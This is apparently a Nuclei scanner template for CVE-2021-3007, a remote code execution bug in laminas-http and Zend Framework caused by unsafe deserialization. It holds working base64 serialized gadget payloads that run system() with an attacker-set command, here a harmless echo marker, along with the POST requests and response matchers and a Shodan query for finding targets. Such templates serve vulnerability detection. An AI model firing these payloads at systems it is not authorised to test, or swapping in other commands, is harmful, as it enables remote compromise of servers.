id: CVE-2021-3007

info:
  name: Laminas Project laminas-http - Remote Code Execution
  author: 0xanis
  severity: critical
  description: |
    Laminas Project laminas-http < 2.14.2 and Zend Framework 3.0.0 contain a deserialization vulnerability caused by __destruct method in Zend\\Http\\Response\\Stream, letting attackers control content lead to remote code execution, exploit requires attacker-controlled serialized data.
  impact: |
    Attackers can execute arbitrary code remotely by controlling serialized content during deserialization.
  remediation: |
    Update to laminas-http 2.14.2 or later; note that Zend Framework is no longer supported.
  reference:
    - https://github.com/Ling-Yizhou/zendframework3-/blob/main/zend%20framework3%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%20rce.md
    - https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-3007
    cwe-id: CWE-502
    epss-score: 0.75313
    epss-percentile: 0.99452
    cpe: cpe:2.3:a:getlaminas:laminas-http:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: getlaminas
    product: laminas-http
    shodan-query: http.html:"laminas"
  tags: cve,cve2021,laminas,zend,rce,deserialization,vkev

flow: http(1) || http(2)

variables:
  rand: "{{to_lower(rand_base(5))}}"
  cmd: "echo {{rand}}"
  param: "hello"
  cmd_len: "{{len(cmd)}}"
  laminas_base_payload: "TzoyODoiTGFtaW5hc1xIdHRwXFJlc3BvbnNlXFN0cmVhbSI6Mjp7czoxMDoiACoAY2xlYW51cCI7YjoxO3M6MTM6IgAqAHN0cmVhbU5hbWUiO086Mjg6IkxhbWluYXNcVmlld1xIZWxwZXJcR3JhdmF0YXIiOjI6e3M6NzoiACoAdmlldyI7TzozMzoiTGFtaW5hc1xWaWV3XFJlbmRlcmVyXFBocFJlbmRlcmVyIjoxOntzOjQ0OiIATGFtaW5hc1xWaWV3XFJlbmRlcmVyXFBocFJlbmRlcmVyAF9faGVscGVycyI7TzoyMToiTGFtaW5hc1xDb25maWdcQ29uZmlnIjoxOntzOjc6IgAqAGRhdGEiO2E6Mjp7czoxMDoiZXNjYXBlaHRtbCI7czo2OiJzeXN0ZW0iO3M6MTQ6ImVzY2FwZWh0bWxhdHRyIjtzOjc6InBocGluZm8iO319fXM6MTM6IgAqAGF0dHJpYnV0ZXMiO2E6MTp7"
  zend_base_payload: "TzoyNToiWmVuZFxIdHRwXFJlc3BvbnNlXFN0cmVhbSI6Mjp7czoxMDoiACoAY2xlYW51cCI7YjoxO3M6MTM6IgAqAHN0cmVhbU5hbWUiO086MjU6IlplbmRcVmlld1xIZWxwZXJcR3JhdmF0YXIiOjI6e3M6NzoiACoAdmlldyI7TzozMDoiWmVuZFxWaWV3XFJlbmRlcmVyXFBocFJlbmRlcmVyIjoxOntzOjQxOiIAWmVuZFxWaWV3XFJlbmRlcmVyXFBocFJlbmRlcmVyAF9faGVscGVycyI7TzoxODoiWmVuZFxDb25maWdcQ29uZmlnIjoxOntzOjc6IgAqAGRhdGEiO2E6Mjp7czoxMDoiZXNjYXBlaHRtbCI7czo2OiJzeXN0ZW0iO3M6MTQ6ImVzY2FwZWh0bWxhdHRyIjtzOjc6InBocGluZm8iO319fXM6MTM6IgAqAGF0dHJpYnV0ZXMiO2E6MTp7"
  laminas_cmd_part: '{{base64("s:" + cmd_len + ":\"" + cmd + "\";i:1;}}}")}}'
  zend_cmd_part: '{{base64("s:" + cmd_len + ":\"" + cmd + "\";i:1;}}}")}}'
  laminas_payload: "{{laminas_base_payload}}{{laminas_cmd_part}}"
  zend_payload: "{{zend_base_payload}}{{zend_cmd_part}}"

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        {{param}}={{laminas_payload}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "laminas", "{{rand}}")'
          - 'status_code == 200'
        condition: and

  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        {{param}}={{zend_payload}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "zend", "{{rand}}")'
          - 'status_code == 200'
        condition: and
# digest: 4b0a00483046022100cdd8d5e110a61660700285db110edfc60930c4ec28bdfcf7f64a968e5211aef4022100fcbe0ba7c4ae3548fd653f800edf91fb81a316f71d61427595d6257aae59bf64:922c64590222798bb761d5b6d8e72950